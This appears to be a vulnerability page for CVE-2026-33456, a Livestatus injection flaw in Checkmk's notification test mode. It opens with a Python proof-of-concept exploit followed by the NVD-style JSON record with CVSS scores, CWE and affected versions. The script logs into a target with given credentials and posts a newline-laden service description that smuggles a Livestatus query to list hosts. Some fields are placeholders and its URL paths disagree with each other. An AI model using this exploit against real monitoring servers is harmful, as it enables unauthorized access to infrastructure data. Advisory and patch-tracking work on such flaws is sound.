CVE-2026-33456

import requests def exploit_checkmk(target_url, username, password): """ PoC for CVE-2026-33456: Livestatus Injection in Checkmk Notification Test. """ session = requests.Session() # Step 1: Authenticate (Simplified) login_url = f"{target_url}/check_mk/login.py" login_data = {'_username': username, '_password': password, '_login': '1'} session.post(login_url, data=login_data) # Step 2: Craft malicious payload # Injecting a Livestatus query to list all hosts # The newline character is key to breaking out of the intended context malicious_service_desc = "LegitimateService\nGET hosts\nColumns: name address\nOutputFormat: json\n" # Step 3: Send request to notification test endpoint # URL structure might vary based on Checkmk version exploit_url = f"{target_url}/checkmk/notifications_test.py" payload = { 'service_description': malicious_service_desc, 'mode': 'test', # other required fields... } response = session.post(exploit_url, data=payload) if response.status_code == 200: print("[+] Request sent successfully. Check response for injected data.") print(response.text) else: print("[-] Exploit failed") if __name__ == "__main__": # Replace with actual target details exploit_checkmk("http://localhost", "user", "pass")

{"cve": {"id": "CVE-2026-33456", "sourceIdentifier": "[email protected]", "published": "2026-04-10T09:16:24.493", "lastModified": "2026-04-20T17:10:06.623", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Livestatus injection in the notification test mode in Checkmk <2.5.0b4 and <2.4.0p26 allows an authenticated user with access to the notification test page to inject arbitrary Livestatus commands via a crafted service description."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-140"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:-:*:*:*:*:*:*", "matchCriteriaId": "022C075A-4B04-4141-A7D7-F93C9A7CE0FD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:b1:*:*:*:*:*:*", "matchCriteriaId": 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